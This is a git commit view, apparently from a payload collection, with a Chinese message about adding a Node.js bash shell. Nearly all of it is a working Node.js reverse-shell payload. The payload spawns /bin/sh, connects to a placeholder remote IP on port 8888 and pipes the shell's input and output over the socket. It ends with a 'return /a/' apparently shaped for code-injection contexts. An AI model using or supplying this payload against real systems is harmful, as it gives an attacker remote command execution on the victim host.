增加了nodejs 开启bash的shell

This commit is contained in:
9eek 2018-12-22 19:30:19 +08:00
parent f0475d650c
commit 0bb079d1c7

View file

@ -1,12 +1,12 @@
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh",[]);
var client = new net.Socket();
client.connect(8888,"xxx.xxx.xxx.xxx",function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh",[]);
var client = new net.Socket();
client.connect(8888,"xxx.xxx.xxx.xxx",function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();